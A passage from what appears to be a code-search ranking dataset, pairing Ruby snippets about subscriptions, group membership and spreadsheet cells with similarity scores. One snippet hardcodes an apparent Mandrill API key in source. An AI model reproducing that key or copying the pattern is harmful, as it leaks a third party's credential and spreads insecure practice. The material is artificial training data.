list_id, contact_id: contact_id, is_unsubscribed: 'false')\n elsif lr.is_unsubscribed\n lr.update_attributes(is_unsubscribed: 'false', unsubscribed_at: nil)\n end\n end\n rescue ::Mailjet::ApiError\n # ignore\n end", "def unsubscribed; end", "def subscribe\n @conn.send_data :opcode => SUBSCRIBE, :channel => @name\n @subscribe_sent = true\n end", "def subscription_enabled?\n _notification_subscription_allowed ? true : false\n end", "def testSubscribe2()\n topic = \"_Subscribe2\"\n conn = Scalaris::PubSub.new()\n\n (0..($_TEST_DATA.length - 1)).each do |i|\n conn.subscribe(@testTime.to_s + topic, $_TEST_DATA[i])\n end\n \n # check if the subscribers were successfully saved:\n subscribers = conn.get_subscribers(@testTime.to_s + topic)\n (0..($_TEST_DATA.length - 1)).each do |i|\n assert(subscribers.include?($_TEST_DATA[i]),\n \"Subscriber \\\"\" + $_TEST_DATA[i] + \"\\\" does not exist for topic \\\"\" + topic + \"\\\"\")\n end\n assert_equal(nil, self.class._getDiffElement(subscribers, $_TEST_DATA),\n \"unexpected subscriber of topic \\\"\" + topic + \"\\\"\")\n \n conn.close_connection()\n end", "def subscribe\n mailchimp = Gibbon::API.new\n result = mailchimp.lists.subscribe({\n :id => ENV[\"MAILCHIMP_LIST_ID\"],\n :email => {:email => self.email},\n :merge_vars => {\n :FNAME => self.fname,\n :LNAME => self.lname,\n :COHORT_ID => self.cohort_id,\n :SCHOOL => self.school.name,\n :CITY => self.cohort.city.name,\n :SDATE => self.cohort.start_date,\n :EDATE => self.cohort.end_date,\n :ENV => Rails.env\n },\n :double_optin => false,\n :update_existing => true,\n :send_welcome => false\n })\n Rails.logger.info(\"Subscribed #{self.email} to MailChimp\") if result\n\n end", "def subscribe(args = {})\n :no_response\n end", "def subscriber?\n self.subscription.plan_id != nil && self.subscription.plan_id >= 1\n end", "def subscribe(list_id, subscribers = [])\n attrs = {\n listId: list_id,\n subscribers: subscribers\n }\n Iterable.request(conf, '/lists/subscribe').post(attrs)\n end", "def subscribers\n AdminNotifier.subscribers(Subscriber.first)\n end", "def subscribed_to?(chapter)\n subscriptions.where(chapter: chapter).exists?\n end", "def update_subscriber_list\n @mandrill = Mandrill::API.new 'nDSi_tYPhOy6QpG8Kn_lqg'\n @subscriber_list = User.where(isSubscribed: true)\n end", "def active_subscription?\n managers.map(&:subscribed?).include?(true) || managers.map(&:active_trial?).include?(true) ? true : false\n end", "def list_subs\n \t@subs = instagram_client.subscriptions\n end", "def subscribe_all\n @config.subscriptions.size.times do\n current\n select_next_consumer\n end\n end", "def unsubscribed?\n preminum? ? false : true\n #subscribed? ? false : true\n end", "def subclients?\n subclients.any?\n end", "def registered?\n !push_id.nil?\n end", "def subscription_allowed?(key)\n resolve_value(_notification_subscription_allowed, key)\n end", "def show\n redirect_to subscribe_path unless current_user_subscribed?\n end", "def get_subscriptions\n subscriptions = []\n\n # Load the checks\n file = File.read(CHECKS)\n checks = JSON.parse(file)\n\n for check in checks\n subscriptions |= check[\"subscribers\"]\n end\n\n return subscriptions\nend", "def announce_list(listname,domain)\n doc = request(\"announcement_list-list_subscribers\",{ \"listname\" => listname, \"domain\" => domain})\n api_error?(doc)\n (doc/:data).inject([]) { |subs, sub| subs << Subscriber.new_from_xml(sub); subs }\n end", "def subscribe\n if subscribed_email.blank?\n FfcrmMailchimp.logger.info(\"#{Time.now.to_s(:db)} FfcrmMailchimp::OutboundSync: no email address for #{@record.class}##{@record.id}. Cannot proceed.\")\n return\n end\n mailchimp_list_field_names.each do |column|\n subscription = ListSubscription.new( @record.send(column) )\n if !subscription.source_is_ffcrm? # Stop if this is a webhook from mailchimp\n FfcrmMailchimp.logger.info(\"#{Time.now.to_s(:db)} FfcrmMailchimp::OutboundSync: ignoring updates to #{@record.class}##{@record.id} (change initiated by webhook or no list subscription data)\")\n break\n end\n # Note: it's important to get list_id from the column not the ListSubscription\n # because if list_id is missing in ListSubscription then that means 'unsubscribe' from list\n list_id = list_id_from_column(column)\n if subscription.wants_to_subscribe? and [email protected]?\n apply_mailchimp_subscription(subscription, list_id)\n else\n # list is no longer selected on form or @record.email is blank\n FfcrmMailchimp::Api.unsubscribe(list_id, subscribed_email)\n end\n end\n end", "def get_subscribers\n subscriber_data = RunrWatcherServer.runr_session_get(\"subscribers\")\n return [] unless subscriber_data.present?\n list = subscriber_data[:subscribers][\"list\"]\n return [] unless list.present?\n JSON.parse list\n end", "def checkSubscription\n @check_sub= Subscription.where(user_id:@current_user.id , channel_id:@channel.id )\n if @check_sub.length>0\n render :json=>{subscribed:true, message:@check_sub[0]}, status: :ok\n else\n render :json=>{subscribed:false, message:@check_sub[0]}, status: :ok\n end\n end", "def subscribe_to_updates\n if @subscription = @requestor.find_or_create_subscriptions(@target.id)\n @subscription.update_attributes(blocked: false) if @subscription.blocked?\n render json: { success: true }\n else\n render json: {message: @subscription.errors&.full_messages || 'Unable to subscriber updates, please try again'}, status: 202\n end\n end", "def line_item_product_subscriptions\n self.line_item_products.select(&:subscription?)\n end", "def pubsub; end", "def subscribed?(email)\n %w[pending subscribed].include?(fetch_subscriber(email)['status'])\n rescue Faraday::ResourceNotFound\n false\n end" ]
[ "0.7369187", "0.70999265", "0.7083483", "0.7030307", "0.7030307", "0.7030307", "0.69052047", "0.69015425", "0.69015425", "0.6881362", "0.68245757", "0.6804293", "0.67777437", "0.6748859", "0.67058784", "0.66932976", "0.6669622", "0.66626", "0.6660518", "0.66113245", "0.6580011", "0.6580011", "0.65718204", "0.65589184", "0.6545992", "0.6500901", "0.6420269", "0.63941324", "0.63931787", "0.6357199", "0.6348285", "0.634244", "0.63362753", "0.63233167", "0.63072276", "0.6294442", "0.6283182", "0.62807447", "0.6273169", "0.6238657", "0.62330997", "0.6229599", "0.62103915", "0.6202257", "0.6199658", "0.6197388", "0.61557263", "0.6153951", "0.6151641", "0.61299837", "0.6113053", "0.6103424", "0.6098451", "0.60917246", "0.6079496", "0.60701513", "0.6062822", "0.6062822", "0.6054163", "0.6049927", "0.60447466", "0.60351044", "0.6004399", "0.59875536", "0.59871364", "0.597431", "0.59730226", "0.59581554", "0.59412193", "0.59331894", "0.5926932", "0.5902863", "0.5891565", "0.58906513", "0.58876777", "0.5852743", "0.5831223", "0.58304673", "0.58301187", "0.58206886", "0.58144367", "0.5813759", "0.5813314", "0.5803002", "0.57937926", "0.5790518", "0.5789899", "0.576937", "0.5756857", "0.57554275", "0.5753345", "0.575052", "0.574972", "0.5742864", "0.5741863", "0.57383114", "0.57350546", "0.5733674", "0.57304454", "0.57214946" ]
0.7500854
0
Does a specific group name exist in this subscription
def has_group?(name) (groupings || []).select{ |grouping| grouping['groups'].include?(name) }.any? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def group_exists?(name)\n @project.groups.where(name: name).count > 0\n end", "def exists?(name)\n begin\n g = list([name.to_s])\n rescue ::AWS::InvalidGroupNotFound\n return false \n end\n \n !g.empty?\n end", "def has_group?(name)\n run(\"id -g #{name}\").success?\n end", "def has_group?(q_group_name)\n contact_groups.find_by_group_name(q_group_name)\n end", "def group_exists?(group)\n Sys::Admin.get_group(group)\n true\n rescue\n false\n end", "def defined?(group_name)\n @groups.key?(group_name)\n end", "def resource_group_exists?(group_name, system_config)\n cmdline = Schott::AzureCLI::Commandlines.resource_group_exists?(group_name)\n cmd = run_command(\"#{group_name} exists\", cmdline, system_config)\n return cmd.output.chomp == \"true\"\n end", "def in_group?(group)\n @groups.include? group\n end", "def resource_group?(name)\n resource_groups.map(&:name).include?(name)\n end", "def group?(name)\n name = name.to_s\n @groups.find{ |g| g.name == name } || false\n end", "def group_valid?(name, resource)\n self.class.groups.rindex{|g| g.name == name} != nil\n end", "def has_group?\n @group == ''\n end", "def group_exists?(stream, group)\n stream = stream_name(stream)\n info = connection.xinfo(:groups, stream.to_s)\n info.any? { |line| line['name'] == \"#{stream}-#{group}\" }\n rescue Redis::CommandError => e\n logger.info \"Seems the group doesn't exist\"\n logger.info e.message\n logger.info e.backtrace.join(\"\\n\")\n false\n end", "def exists?(group)\n url = build_url(group)\n rest_head(url) and true\n rescue Azure::Armrest::NotFoundException\n false\n end", "def defined?(group_name)\n true\n end", "def in_group?(group_id)\n groups.any? do |group|\n group.id == group_id\n end\n end", "def has_group?(group)\n\t\tFsLdap.groups_of_loginname(self.loginname).include?(group)\n\tend", "def group?(group)\n\t\t\t\tif(groups.has_key?(group))\n\t\t\t\t\tCfruby.controller.inform('debug', \"group \\\"#{group}\\\" exists\")\n\t\t\t\t\treturn(true)\n\t\t\t\tend\n\n\t\t\t\tCfruby.controller.inform('debug', \"group \\\"#{group}\\\" does not exist\")\n\t\t\t\treturn(false)\n\t\t\tend", "def has_group?(group)\n\t\t# TODO: remove return true\n\t\treturn true\n\t\t# return FsLdap::groups_of_loginname(self.loginname).include? group\n\tend", "def member_of?(group)\n cn_groups.include?(group)\n end", "def has_group?\n\t\t@group == ''\n\tend", "def group? group\n group_name = group.respond_to?(:name) ? group.name : group\n self.groups.map(&:name).include?(group_name.to_s)\n end", "def has_group_in_bucket?(bucket_name, group_name)\n has_bucket?(bucket_name) && @buckets[bucket_name.to_sym].has_group?(group_name) rescue false\n end", "def exists?\n start = Time.now\n debug \"Checking if device group \\\"#{resource[:full_path]}\\\" exists\"\n connection = self.class.get_connection(resource[:account])\n if resource[:full_path].eql?('/')\n true\n else\n device_group = get_device_group(connection, resource[:full_path])\n debug device_group unless nil_or_empty?(device_group)\n debug \"Finished in #{(Time.now-start)*1000.0} ms\"\n nil_or_empty?(device_group) ? false : true\n end\n end", "def exists?\n !group_info.entries.empty?\n end", "def in_group?(group_or_id)\n group_ids.include?(Ecircle::User.group_id(group_or_id))\n end", "def group?(group)\n\t\t\tend", "def group_present(name)\n group_exists = false\n execute(\"dscacheutil -q group -a name #{name}\") do |result|\n group_exists = result.stdout.start_with?(\"name: #{name}\")\n end\n\n return if group_exists\n\n gid = gid_next\n create_cmd = \"dscl . create /Groups/#{name}\"\n create_cmd << \" && dscl . create /Groups/#{name} PrimaryGroupID #{gid}\"\n execute(create_cmd)\n end", "def is_in_role_group? name\n group_members = i_am_i_can.role_group_model.find_by!(name: name)._roles.names\n (get_roles.names & group_members).present?\n end", "def has_group_in_bucket_in_series?(series_name, bucket_name, group_name)\n has_bucket_in_series?(series_name, bucket_name) &&\n series_with_name(series_name).bucket_with_name(bucket_name).has_group?(group_name) rescue false\n end", "def member_of_group?(*names)\n @group_names && @group_names.intersect?(names.to_set) \n end", "def group?\n members.count > 2 or self[:name].present?\n end", "def group?(name)\n eval(GROUP_CHECK, binding, __FILE__, GROUP_CHECK_LINE)\n nil\nend", "def include?(group_name)\n @content.keys.include?(group_name)\n end", "def does_group_exist\n @group = Group.find(params[:id])\n rescue\n flash.now[:group_error] = 'Someone else deleted the group. Your action was cancelled.'\n redirect_to :action => 'list' and return false\n end", "def is_in_group_name\n returnGroup = []\n group = query_root_node(\"fao:isInGroup/@rdf:resource\", @@NAMESPACES)\n if !group.nil?\n group.each do |entry|\n returnGroup << entry.to_s.split(\"/\")[7]\n end\n end\n returnGroup\n end", "def valid_group?\n unless self.target_group.nil?\n if self.target_group.is_a? String\n !!(self.target_group == self.group)\n else\n !!(self.target_group == self.group(:id))\n end\n else\n # The group is OK if it wasn't specified\n return true\n end\n rescue ArgumentError => ex\n # The group is NOT OK if the group doesn't exist\n WarningShot::PermissionResolver.logger.error(\"Group [#{self.target_group}] does not exist: #{ex.message}\")\n return false\n end", "def check_group_exists\n if (Group.where(group_params).count != 0)\n redirect_to Group.where(group_params).first\n end\n end", "def member?(group)\n memberships.find_by_group_id(group)\n end", "def is_group_conversation?\n group_title.present?\n end", "def include?(group_name)\n \t\[email protected]?(group_name)\n \tend", "def in_group?(user, group)\n users_groups.where(user_id: user.id, group_id: group.id).count.positive?\n end", "def valid_group? host_code, group_code\n return unless group_code\n host_data = find_host host_code\n return unless host_data\n\n host_data[:groups].include? group_code\nend", "def group?\n self['source'] == 'QSGroupObjectSource'\n end", "def in_group_belonging_to?(org_id)\n return true if !guidance_group.nil? && (guidance_group.org.id == org_id)\n\n false\n end", "def user_group_exists?(user_group_symbol)\n return true if user_group_symbol == Lockdown.administrator_group_symbol\n get_user_groups.include?(user_group_symbol)\n end", "def autoscaling_group_exists?\n Tapjoy::AutoscalingBootstrap::AWS::Autoscaling::Group.describe.nil? ? false : true\n end", "def ce_group_valid?\n return false unless self.group_id\n self.refresh_access_token!\n\n @oauth_access_token.get(\n \"https://www.google.com/m8/feeds/groups/default/full/#{self.group_id}\",\n {\n headers: {\n 'Content-type' => 'application/atom+xml',\n 'GData-Version' => '3.0'\n }\n }\n )\n\n true # group is valid\n rescue OAuth2::Error\n false # group is invalid\n end", "def exist?(*args)\n get(*args)\n true\n rescue Veil::GroupNotFound, Veil::CredentialNotFound\n false\n end", "def in_group?(group_id)\n group_details = GROUP_MAPPINGS[group_id]\n raise \"Group not found\" if group_details.nil?\n\n group_details[MATCH_RULES].each do |rule|\n matched = self.type.match(rule)\n return true if matched\n end\n return false\n end", "def group?\n true\n end", "def group?\n proprieties[:group]\n end", "def owns?(group)\n return if group.class != Group\n self.groups.any? {|g| g[:id] == group.id}\n end", "def group_member?\n kind == 'group_member'\n end", "def group?(group)\n\t\t\t\treturn(infile(group, '/etc/group'))\n\t\t\tend", "def in_group_belonging_to?(org_id)\n unless guidance_group.nil?\n \t\tif guidance_group.org.id == org_id\n \t\t\treturn true\n \t\tend\n end\n\t\treturn false\n\tend", "def user_in_group?(user, group)\n return get_user_groups(user).include?(group)\n end", "def exists?(group, id, format = DEFAULT_FORMAT)\n File.exists?( file_name(group, id, format) )\n end", "def interest_group?(id)\n return false unless groups\n\n groups[id.to_sym] || false\n end", "def has_any_group?(*group_list)\n return :system_admin if system_admin?\n return false if anonymous?\n\n r = group_list.select{|g| effective_groups.include?(g.upcase)}\n\n r.blank? ? false : r\n end", "def creator_in_group?\n return unless errors.blank?\n if !group.users.include?(user)\n errors.add(:user, user.username + \" isn't in the group\")\n end\n end", "def group?\n type == :group_id\n end", "def group?\n type == :group_id\n end", "def is_in_group?(_user_id)\n Rails.cache.fetch \"UserGroup:is_in_group_#{id}_#{_user_id}\" do\n user_relationships.where(user_id: _user_id).any?\n end\n end", "def may_create_group_membership?(group)\n\t\t\t!is_group_member?(group)\n\t\tend", "def has_user_group?(ug)\n sym = Lockdown.get_symbol(ug)\n\n return true if sym == Lockdown.administrator_group_symbol\n user_group_exists?(sym)\n end", "def restricted?\n self.groups.any?\n end", "def group_choosen?\n !current_group.nil?\n end", "def group_choosen?\n !current_group.nil?\n end", "def ifMember(group_id,user_id)\n GroupUser.where(:group_id => group_id, :user_id => user_id).exists? #change to current_user_id \n end", "def belongs_to?(group)\n group.all_users.include? self\n end", "def belongs_to?(group)\n group.all_users.include? self\n end", "def belongs_to?(group)\n group.all_users.include? self\n end", "def member_of?(group)\n if group.is_a? Group\n groups.include? group\n else\n member_of? Group.new(group)\n end\n end", "def has_groupmember?(member)\n group = @group_class.new :name => member, :node => self.node\n return false unless group.exists?\n self[:groupmembers].member? group.generateduid.first\n end", "def organization_exists?(name)\n @organizations.member?(name)\n end", "def is_in_group_url\n returnGroup = []\n group = query_root_node(\"fao:isInGroup/@rdf:resource\", @@NAMESPACES)\n if !group.nil?\n group.each do |entry|\n returnGroup << entry.to_s\n end\n end\n returnGroup\n end", "def group?(group)\n Vpim::Methods.casecmp?(@group, group)\n end", "def is_member_in(group)\n unless group.members.include? current_user\n flash[:danger] = \"Devi essere un membro per accedere ad un gruppo ed alle sue informazioni\"\n redirect_to groups_path\n end\n end", "def banned_from_group?\n GroupBan.where(user: user, group: group).exists?\n end", "def group?\n @opts[:group] != DEFAULT_GROUP\n end", "def watched_by_group?(group)\n !!(group && self.watcher_groups.detect {|gr| gr.id == group.id } unless self.watcher_groups.nil?)\n end", "def isUserMemberOfGroup \n redirect_to groups_path unless !GroupMember.userIsAlreadyInGroup(params[:group_id], current_user.id)\n end", "def key?(key)\n key = to_key key\n @group.key? key\n end", "def is_member_of?(group)\n group.owner?(current_person) or Membership.accepted?(current_person, group)\n end", "def member_of(group)\n current_user.is_member?(group)\n end", "def moderator?\n groups.exists? id: Group::GATHER_MODERATORS\n end", "def admin_of?(group)\n memberships.exists?(group_id: group.id, admin: true)\n end", "def validate_group_name\n group_name_param = params[:group_name]\n if group_name_is_unique?(group_name_param)\n render json: { valid_group_name: true }, status: :ok\n else\n render json: { valid_group_name: false,\n message: \"A Space named \\\"#{group_name_param}\\\" already exists\"\n },\n status: :ok\n end\n end", "def isGroupCreator(group_id,user_id)\n GroupUser.where(:group_id => group_id, :user_id => user_id, :isCreator => true).exists?\n end", "def exist? (name)\n @by_id[name.to_s]\n end", "def sec_group_exists(groups)\n groups.each do |group|\n begin\n puts \"Verifying #{group} exists...\"\n group = Tapjoy::AutoscalingBootstrap::AWS::EC2.describe_security_groups(group)\n rescue Aws::EC2::Errors::InvalidGroupNotFound => err\n STDERR.puts \"Warning: #{err}\"\n puts \"Creating #{group} for #{Tapjoy::AutoscalingBootstrap.scaler_name}\"\n Tapjoy::AutoscalingBootstrap::AWS::EC2.create_security_group(group)\n end\n end\n end", "def sec_group_exists(groups)\n groups.each do |group|\n begin\n puts \"Verifying #{group} exists...\"\n group = Tapjoy::AutoscalingBootstrap::AWS::EC2.describe_security_groups(group)\n rescue Aws::EC2::Errors::InvalidGroupNotFound => err\n STDERR.puts \"Warning: #{err}\"\n puts \"Creating #{group} for #{Tapjoy::AutoscalingBootstrap.scaler_name}\"\n Tapjoy::AutoscalingBootstrap::AWS::EC2.create_security_group(group)\n end\n end\n end", "def only_in_rolegroup? rolegroup\n rolegroup_list.first == rolegroup.to_sym && rolegroup_list.size == 1 \n end", "def group(name)\n groups.detect { |group| group.name == name } ||\n raise(\"No such Fever group: #{name.inspect}\")\n end", "def exist_name(name)\n @names.value?(name)\n end", "def client_in_group\n @group = @user.groups.find_by_id(params[:gid])\n render errors_msg(\"User Not In Group\", 404) and return \\\n unless @group\n end", "def has_company?\n if self.group && self.group.company\n true\n else\n false\n end\n end", "def is_default_group?\n self.name==\"Default\"\n end", "def evaluate_group(grp)\n true\n end" ]
[ "0.83704615", "0.8261771", "0.81818604", "0.8019201", "0.7843859", "0.7810116", "0.7752436", "0.7723494", "0.7558666", "0.754061", "0.75347483", "0.75154954", "0.7513253", "0.7410376", "0.74055487", "0.73747313", "0.7329222", "0.728947", "0.72704476", "0.72400343", "0.72033584", "0.71920294", "0.7175572", "0.70755076", "0.70604664", "0.7047644", "0.7037882", "0.6946679", "0.6920887", "0.68887734", "0.6869801", "0.6861951", "0.68573135", "0.68293273", "0.6792406", "0.6767351", "0.6703216", "0.67013377", "0.669746", "0.6675422", "0.6673434", "0.66658497", "0.6652578", "0.661284", "0.6593339", "0.65864444", "0.65757436", "0.6561736", "0.6556132", "0.6535838", "0.6531501", "0.64966565", "0.648917", "0.64729095", "0.64633644", "0.6461984", "0.64430094", "0.64373296", "0.6432589", "0.6408168", "0.6399625", "0.639682", "0.639682", "0.6379253", "0.637252", "0.6368525", "0.63451934", "0.6338064", "0.6338064", "0.63199246", "0.6318438", "0.6318438", "0.6316928", "0.631146", "0.63063145", "0.62998724", "0.6267788", "0.6267253", "0.6251955", "0.621433", "0.6190664", "0.61824477", "0.6158434", "0.611475", "0.60954845", "0.60901535", "0.6084572", "0.6083758", "0.60512644", "0.6025217", "0.60251784", "0.60132474", "0.60132474", "0.60078084", "0.60065746", "0.60002965", "0.5994446", "0.59917253", "0.5983979", "0.59827274" ]
0.7591528
8
Retrieves the cell information based on the parameters specified inside the `cell` object
def get_cell(cell) query_cell_info '/cell/get', cell end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def cell(cell)\n @board[cell]\n end", "def get_cell(row, column)\n @fields[row][column]\n end", "def getCell(row,col)\n the_row = @rows[row]\n the_cell = the_row.cells[col]\n return the_cell\n end", "def get_elem cell\n\t\treturn @elements[cell]\n\tend", "def cell(row, col, sheet = nil)\n sheet ||= @default_sheet\n read_cells(sheet)\n\n @cell[sheet].fetch(normalize(row, col).to_a, nil)\n end", "def build_cell(cell)\n # implement in row class\n nil\n end", "def get_coordinates(cell)\n row = @cell_coordinates[cell][0]\n col = @cell_coordinates[cell][1]\n [row, col]\n end", "def get_cell(x, y)\n grid[x][y]\n end", "def getCell(x, y)\n return @grid.getCell(x,y)\n end", "def cell(row, column)\n row = row(row)\n cell_value( row.get_or_create_cell( column ) )\n end", "def getCell(row, column)\n\n\t\treturn @grid.getElement(row, column)\n\tend", "def get_cell(id, column_family_name, column_name)\n if cell = connection.get(name, id, \"#{column_family_name.to_s}:#{column_name.to_s}\", {}).first\n MassiveRecord::Wrapper::Cell.populate_from_tcell(cell)\n end\n end", "def getCell(row, col)\n # Make sure the row/col combination is within the matrix.\n if row > @rows || col > @cols || row <= 0 || col <= 0\n return 0\n end\n return @info[row][col]\n end", "def cell(row, col, sheet=nil)\n sheet = @default_sheet unless sheet\n read_cells(sheet) unless @cells_read[sheet]\n row,col = normalize(row,col)\n if celltype(row,col,sheet) == :date\n yyyy,mm,dd = @cell[sheet][[row,col]].split('-')\n return Date.new(yyyy.to_i,mm.to_i,dd.to_i)\n elsif celltype(row,col,sheet) == :datetime\n date_part,time_part = @cell[sheet][[row,col]].split(' ')\n yyyy,mm,dd = date_part.split('-')\n hh,mi,ss = time_part.split(':')\n return DateTime.civil(yyyy.to_i,mm.to_i,dd.to_i,hh.to_i,mi.to_i,ss.to_i)\n end\n @cell[sheet][[row,col]]\n end", "def read_cells(sheet=nil)\n sheet = @default_sheet unless sheet\n raise RangeError, \"illegal sheet <#{sheet}>\" unless sheets.index(sheet)\n sheet_no = sheets.index(sheet)+1\n xml = @gs.fulldoc(sheet_no).to_s\n doc = XML::Parser.string(xml).parse\n doc.find(\"//*[local-name()='cell']\").each do |item|\n row = item['row']\n col = item['col']\n key = \"#{row},#{col}\"\n string_value = item['inputvalue'] || item['inputValue'] \n numeric_value = item['numericvalue'] || item['numericValue'] \n (value, value_type) = determine_datatype(string_value, numeric_value)\n @cell[sheet][key] = value unless value == \"\" or value == nil\n @cell_type[sheet][key] = value_type \n @formula[sheet] = {} unless @formula[sheet]\n @formula[sheet][key] = string_value if value_type == :formula\n end\n @cells_read[sheet] = true\n end", "def cell\n {\n # Use the model's properties to populate data in the hash\n title: name,\n # subtitle: {}\n }\n end", "def data_at(sheet_index, record_index, cell_index)\n @sheets[sheet_index].records[record_index].cells[cell_index]\n end", "def read_cells(sheet=nil)\n sheet = @default_sheet unless sheet\n sheet_found = false\n raise ArgumentError, \"Error: sheet '#{sheet||'nil'}' not valid\" if @default_sheet == nil and sheet==nil\n raise RangeError unless self.sheets.include? sheet\n n = self.sheets.index(sheet)\n #TODO: @sheet_doc[n].find(\"//*[local-name()='c']\").each do |c|\n @sheet_doc[n].xpath(\"//*[local-name()='c']\").each do |c|\n #TODO: s_attribute = c.attributes.to_h['s'].to_i # should be here\n s_attribute = c['s'].to_i # should be here\n #TODO: if (c.attributes.to_h['t'] == 's')\n # c: <c r=\"A5\" s=\"2\">\n # <v>22606</v>\n # </c>, format: , tmp_type: float\n\n if c['t'] == 's'\n tmp_type = :shared\n #TODO: elsif (c.attributes.to_h['t'] == 'b')\n elsif c['t'] == 'b'\n tmp_type = :boolean\n else\n #s_attribute = c.attributes.to_h['s'].to_i # was here\n s_attribute = c['s'].to_i # was here\n format = attribute2format(s_attribute)\n tmp_type = format2type(format)\n end\n formula = nil\n #TODO: c.each_element do |cell|\n c.children.each do |cell|\n #TODO: if cell.name == 'f'\n if cell.name == 'f'\n formula = cell.content\n end\n #TODO: if cell.name == 'v'\n if cell.name == 'v'\n if tmp_type == :time or tmp_type == :datetime\n if cell.content.to_f >= 1.0 \n if (cell.content.to_f - cell.content.to_f.floor).abs > 0.000001 \n tmp_type = :datetime \n else\n tmp_type = :date\n end\n else\n end \n end\n excelx_type = [:numeric_or_formula,format.to_s]\n excelx_value = cell.content\n if tmp_type == :shared\n vt = :string\n str_v = @shared_table[cell.content.to_i]\n excelx_type = :string\n elsif tmp_type == :boolean\n vt = :boolean\n cell.content.to_i == 1 ? v = 'TRUE' : v = 'FALSE'\n elsif tmp_type == :date\n vt = :date\n v = cell.content\n elsif tmp_type == :time\n vt = :time\n v = cell.content\n elsif tmp_type == :datetime\n vt = :datetime\n v = cell.content\n elsif tmp_type == :formula\n vt = :formula\n v = cell.content.to_f #TODO: !!!!\n else\n vt = :float\n v = cell.content\n end\n #puts \"vt: #{vt}\" if cell.text.include? \"22606.5120\"\n #TODO: x,y = split_coordinate(c.attributes.to_h['r'])\n x,y = split_coordinate(c['r'])\n tr=nil #TODO: ???s\n set_cell_values(sheet,x,y,0,v,vt,formula,tr,str_v,excelx_type,excelx_value,s_attribute)\n end\n end\n end\n sheet_found = true #TODO:\n if !sheet_found\n raise RangeError\n end\n @cells_read[sheet] = true\n end", "def [](cell_name)\n cell = Cell.select_or_create_cell(cell_name, self)\n \n end", "def cells\n attributes.fetch(:cells)\n end", "def give_cell_status\n cell = get_cell\n cell_status(cell)\n end", "def cell(row_index, column_index)\n row(row_index).cell(column_index)\n end", "def get(row, column)\n cell(normalize_key(row), normalize_key(column))\n end", "def get(row, column)\n cell(normalize_key(row), normalize_key(column))\n end", "def read_cell(row, idx)\n return read_cell_date_or_time(row, idx) if date_or_time?(row, idx)\n\n cell = read_cell_content(row, idx)\n case cell\n when Integer, Fixnum, Bignum\n value_type = :float\n value = cell.to_i\n when Float\n value_type = :float\n value = cell.to_f\n when String, TrueClass, FalseClass\n value_type = :string\n value = normalize_string(cell.to_s)\n when ::Spreadsheet::Link\n value_type = :link\n value = cell\n else\n value_type = cell.class.to_s.downcase.to_sym\n value = nil\n end # case\n\n [value_type, value]\n end", "def cellAt(row, col)\n\t\treturn @rows[row][col]\n\tend", "def celltype(row, col, sheet = default_sheet)\n read_cells(sheet)\n row, col = normalize(row, col)\n if @formula.size > 0 && @formula[sheet][\"#{row},#{col}\"]\n :formula\n else\n @cell_type[sheet][\"#{row},#{col}\"]\n end\n end", "def cell(loc)\n @map[loc]\n end", "def build_cell(cell)\n update_cell_value(cell)\n observe(self.row, \"value\") do |old_value, new_value|\n update_cell_value(cell)\n end\n nil\n end", "def cell(row, col, sheet=nil)\n sheet = @default_sheet unless sheet\n check_default_sheet #TODO: 2007-12-16\n read_cells(sheet) unless @cells_read[sheet]\n row,col = normalize(row,col)\n value = @cell[sheet][\"#{row},#{col}\"]\n if celltype(row,col,sheet) == :date\n begin\n return Date.strptime(value, @date_format)\n rescue ArgumentError\n raise \"Invalid Date #{sheet}[#{row},#{col}] #{value} using format '{@date_format}'\"\n end\n elsif celltype(row,col,sheet) == :datetime\n begin\n return DateTime.strptime(value, @datetime_format)\n rescue ArgumentError\n raise \"Invalid DateTime #{sheet}[#{row},#{col}] #{value} using format '{@datetime_format}'\"\n end\n end \n return value\n end", "def cell(data)\n rw, col, ixfe = data.unpack('v3')\n\n {\n rw: rw, # rw (2 bytes): An Rw that specifies the row.\n col: col, # col (2 bytes): A Col that specifies the column.\n ixfe: ixfe # ixfe (2 bytes): An IXFCell that specifies the XF record.\n }\n end", "def cell_from_xml(cell_xml, hyperlink, coordinate, empty_cell=true)\n coordinate ||= ::Roo::Utils.extract_coordinate(cell_xml[\"r\"])\n cell_xml_children = cell_xml.children\n return create_empty_cell(coordinate, empty_cell) if cell_xml_children.empty?\n\n # NOTE: This is error prone, to_i will silently turn a nil into a 0.\n # This works by coincidence because Format[0] is General.\n style = cell_xml[\"s\"].to_i\n formula = nil\n\n cell_xml_children.each do |cell|\n case cell.name\n when 'is'\n content = cell.search('t').map(&:content).join\n unless content.empty?\n return Excelx::Cell.cell_class(:string).new(content, formula, style, hyperlink, coordinate)\n end\n when 'f'\n formula = cell.content\n when 'v'\n format = style_format(style)\n value_type = cell_value_type(cell_xml[\"t\"], format)\n\n return create_cell_from_value(value_type, cell, formula, format, style, hyperlink, coordinate)\n end\n end\n\n create_empty_cell(coordinate, empty_cell)\n end", "def cells\n @cells\n end", "def cells\n @cells\n end", "def cell_with_id(cell_id)\n cell(:id, cell_id).text\n end", "def cell(row, column)\n Cell.new(@data, row, column)\n end", "def cell(row, col, sheet = nil)\n sheet ||= default_sheet\n read_cells(sheet)\n row, col = normalize(row, col)\n if celltype(row, col, sheet) == :date\n yyyy, mm, dd = @cell[sheet][[row, col]].to_s.split('-')\n return Date.new(yyyy.to_i, mm.to_i, dd.to_i)\n end\n\n @cell[sheet][[row, col]]\n end", "def get_cell_value(row = 1, column = 1)\n unless row.is_a?(Integer) && column.is_a?(Integer)\n raise IncorrectCellPosition, 'Incorrect cell position'.freeze\n end\n\n if row > 3 || column > 3 || row < 1 || column < 1\n raise OutOfCellError, 'No cell available in this zone'.freeze\n end\n\n return self.send cell_column(row, column)\n end", "def read_cell(x, y)\n offset = (y * @height) + x\n\n @cells[offset] if x >= 0 && y >= 0 && x < @width && y < @height\n end", "def cellval(x,y)\n xy = \"#{x}_#{y}\"\n @cells = { }\n begin\n @cells[xy] = RobustExcelOle::Cell.new(@ole_worksheet.Cells.Item(x, y))\n @cells[xy].Value\n rescue\n raise RangeNotEvaluatable, \"cannot read cell (#{p1.inspect},#{p2.inspect})\"\n end\n end", "def get_cell(x, y)\n get_cell_from_board(@board, x, y)\n end", "def grid_row(r)\n {\n :id => r.id,\n :cell => @columns.collect do |c|\n c[:custom] ? call_custom(c[:custom], r) : (r.attributes)[c[:field]]\n end\n }\n end", "def hc(row,col)\n build :cell, row: row, col: col\n end", "def calc_coordinate(cell_name)\n col = 